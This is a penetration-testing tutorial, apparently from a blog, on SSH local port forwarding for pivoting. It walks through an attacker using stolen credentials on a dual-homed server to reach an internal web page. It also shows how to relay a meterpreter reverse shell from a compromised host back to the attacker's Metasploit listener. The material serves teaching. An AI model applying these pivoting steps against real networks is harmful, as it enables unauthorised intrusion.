Port forwarding can be one of the more confusing aspects of pivoting between machines and networks. Both remote and local SSH forwarding can be even more confusing in the sense it matters who is initiating the connection, and who the destination server is. I’ll run through local port forwarding here, and in a seperate page, cover remote forwarding.

To begin with we will outline the concept, then we will follow this up with an example.


The Syntax

ssh <ssh server> -L [IP Address of Initiating Machine][Bind Port of Initiating Machine]:[IP Address of Target Machine]:[Target Machine Port]
Once we run this command, it will open a listening port on the initiating machine, and any traffic sent to that port will be sent to the IP address specified as target, from the perspective of the ssh server. So, what do we mean by that? We have the following scenario.

Bob (Attacker – IP 192.168.1.2) – Wishes to browse the super secret webpage on Suzie’s computer.
Ryan (SSH Server – IP 192.168.1.50 & IP 10.1.1.40) – A dual homed SSH server which Bob has stolen credentials for.
Suzie (Target machine with a web server on port 80 – IP 10.1.1.90) – The target we wish to access who is running a super secret intranet page. Bob cannot reach this directly.

Example

ssh <ssh server> -L [IP Address of Initiating Machine][Bind Port of Initiating Machine]:[IP Address of Target Machine]:[Target Machine Port]
ssh ryan@192.168.1.50 -L 0.0.0.0:1234:10.1.1.90:80
Once this command is executed, and the password entered, do not interact with this shell. Alternatively you can use the -f -N flag to background the ssh port forward upon connection. A listening port (1234) has been bound on the initiating machine (Bob). Any traffic sent to this port will be forwarded to the IP address 10.1.1.90, port 80, from the perspective of the server (Ryan). Remember the [IP Address of Target Machine] is relative to the viewpoint of the server. If we had specified the target IP address of 127.0.0.1, we would be requesting whatever webpage (if any!) Ryan was running.

In this example the application is a little useful. We’ve got access to an intranet page that we can now browse on our attacking machine, which is nice enough. Think about some other applications though. What about the following scenario.

Executed on Ryan

ssh bob@192.168.1.2 -L 10.1.1.40:4444:127.0.0.1:5555
If we execute this command on Ryan, a listening port is bound on 4444. Any traffic that hits this port will be sent to the remote machine (our attacking box) and spat out on loopback port 5555. We could have a Metasploit listener set up on this port (remember, only port 4444 on a different machine is blocking the port, 127.0.0.1:5555 is just a destination). Now if we can compromise Suzie in some way, we can tell a meterpreter shell to have a LHOST of 10.1.1.40, with an LPORT of 4444 and it will effectively be our listener!

In many cases this can be more useful than remote port forwarding, as it requires less permissions (GatewayPorts, covered in remote forwarding) and we only need to drop a single binary such as plink.exe, as opposed to setting up a whole SSH server on a compromised machine.